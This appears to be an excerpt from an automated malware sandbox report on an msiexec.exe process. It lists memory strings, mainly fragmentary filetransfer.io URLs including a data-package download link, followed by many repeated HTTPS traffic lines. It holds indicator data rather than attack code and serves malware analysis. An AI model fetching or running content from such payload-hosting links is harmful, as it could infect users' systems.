Source: msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060481052.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052923454.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052979091.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038276428.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045792274.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloadn
Source: msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3179355815.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975182321.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3186839599.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975216412.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3133442742.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960128906.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023261165.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060481052.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030980397.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3007751552.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052923454.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960162525.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloadx
Source: msiexec.exe, 00000006.00000003.3116890633.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2913528890.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938361218.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2930468686.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938412767.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975182321.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2866051872.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953139009.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2880777878.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2890484473.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975216412.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/sJfx1gsn/downloady
Source: msiexec.exe, 00000006.00000003.3124442146.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2982929495.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2858350522.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2921974056.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2906178695.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3141166253.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429495564.00000000074D0000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953060831.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3172141678.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3268946689.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3319554341.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/dist/filetransfer-social-en.389488efe49681ac059b218c21161d72.png
Source: msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/fer.io
Source: msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/ft
Source: msiexec.exe, 00000006.00000003.2809294034.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/g
Source: msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/ii
Source: msiexec.exe, 00000006.00000003.3124442146.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2825933685.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3342074054.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2866051872.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023344289.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953139009.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2880777878.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3350462901.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2834382544.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3186839599.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2890484473.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953060831.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419081563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/io
Source: msiexec.exe, 00000006.00000003.2913528890.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2906178695.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3252976537.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2898439697.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295318344.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2913458167.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3268946689.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2858350522.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/io)
Source: msiexec.exe, 00000006.00000003.2866051872.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2873825398.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2865965142.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2873776933.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3319554341.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/io6
Source: msiexec.exe, 00000006.00000003.3260839849.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3252976537.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3268946689.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/io8
Source: msiexec.exe, 00000006.00000002.3429200540.0000000005C1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/load
Source: msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/p
Source: msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/ransfer.io/
Source: msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/ransfer.io/Certificates
Source: msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/ransfer.io/ft
Source: msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005BE4000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/ransfer.io/ndemandconnroutehelper.dll
Source: msiexec.exe, 00000006.00000002.3429200540.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3038351194.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938361218.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2930468686.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2938412767.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060406770.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3045718115.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953139009.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3186839599.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953060831.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419081563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2930435186.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960128906.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060481052.0000000005C4B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3052923454.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2945765819.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/rf
Source: msiexec.exe, 00000006.00000003.2975182321.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2890484473.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975216412.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960128906.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2889947563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3209959677.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3252976537.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2960162525.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3357805078.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3365366661.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2984923936.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2982929495.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3202428854.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967918113.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3194660872.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/wnload
Source: msiexec.exe, 00000006.00000003.2975182321.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2975216412.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2984923936.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2982929495.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967918113.0000000005C4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/wnload6
Source: msiexec.exe, 00000006.00000003.3295401697.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io0
Source: msiexec.exe, 00000006.00000003.2889947563.0000000005C43000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2898439697.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.ioD
Source: msiexec.exe, 00000006.00000003.2880777878.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.ioj
Source: msiexec.exe, 00000006.00000003.2865965142.0000000005C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.ior
Source: msiexec.exe, 00000006.00000003.3124442146.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2982929495.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2858350522.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3237639134.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2921974056.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2906178695.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3141166253.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429495564.00000000074D0000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953060831.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3172141678.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3268946689.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3319554341.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3109347991.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3220399286.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2967867900.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.filetransfer.io/
Source: msiexec.exe, 00000006.00000003.2873776933.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3124442146.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3381291401.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2824231194.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3023261165.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2982929495.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2889947563.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2842803147.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2858350522.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3000101439.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3202428854.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2921974056.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3141166253.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429495564.00000000074D0000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2953060831.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3172141678.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3396841536.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3268946689.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3319554341.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3030910908.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3285117552.0000000005C3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-GKJZT50F5X

Source: unknown	Network traffic detected: HTTP traffic on port 57928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57928
Source: unknown	Network traffic detected: HTTP traffic on port 57957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57924
Source: unknown	Network traffic detected: HTTP traffic on port 57940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57920
Source: unknown	Network traffic detected: HTTP traffic on port 57943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57938
Source: unknown	Network traffic detected: HTTP traffic on port 57952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57937
Source: unknown	Network traffic detected: HTTP traffic on port 57977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57936
Source: unknown	Network traffic detected: HTTP traffic on port 57960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57931
Source: unknown	Network traffic detected: HTTP traffic on port 57919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57948
Source: unknown	Network traffic detected: HTTP traffic on port 57959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57947
Source: unknown	Network traffic detected: HTTP traffic on port 57926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57950
Source: unknown	Network traffic detected: HTTP traffic on port 57939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57959
Source: unknown	Network traffic detected: HTTP traffic on port 57948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57955
Source: unknown	Network traffic detected: HTTP traffic on port 57962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57961
Source: unknown	Network traffic detected: HTTP traffic on port 57917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57960
Source: unknown	Network traffic detected: HTTP traffic on port 57965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57969
